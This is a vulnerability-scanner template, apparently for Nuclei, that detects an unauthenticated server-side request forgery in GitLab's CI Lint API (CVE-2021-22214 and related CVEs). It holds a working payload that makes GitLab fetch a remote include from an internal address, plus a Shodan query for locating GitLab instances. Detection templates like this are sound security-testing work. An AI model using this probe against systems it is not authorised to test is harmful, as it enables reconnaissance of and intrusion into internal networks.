id: CVE-2021-22214

info:
  name: Unauthenticated Gitlab SSRF - CI Lint API
  author: Suman_Kar,GitLab Red Team
  severity: high
  description: |
    When requests to the internal network for webhooks are enabled,
    a server-side request forgery vulnerability in GitLab CE/EE affecting all
    versions starting from 10.5 was possible to exploit for an unauthenticated
    attacker even on a GitLab instance where registration is limited.
    The same vulnerability actually spans multiple CVEs, due to similar reports
    that were fixed across separate patches. These CVEs are:
    - CVE-2021-39935
    - CVE-2021-22214
    - CVE-2021-22175
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22214
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39935
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175
    - https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
    - https://docs.gitlab.com/ee/api/lint.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-22214,CVE-2021-39935,CVE-2021-22175
    cwe-id: CWE-918
  metadata:
    shodan-query: http.title:"GitLab"
  tags: cve,cve2021,gitlab,ssrf

requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"

    headers:
      Content-Type: application/json

    body: |
      {"content": "include:\n  remote: http://127.0.0.1:9100/test.yml"}

    redirects: true
    max-redirects: 3
    matchers:
      - type: word
        part: body
        words:
          - "does not have valid YAML syntax"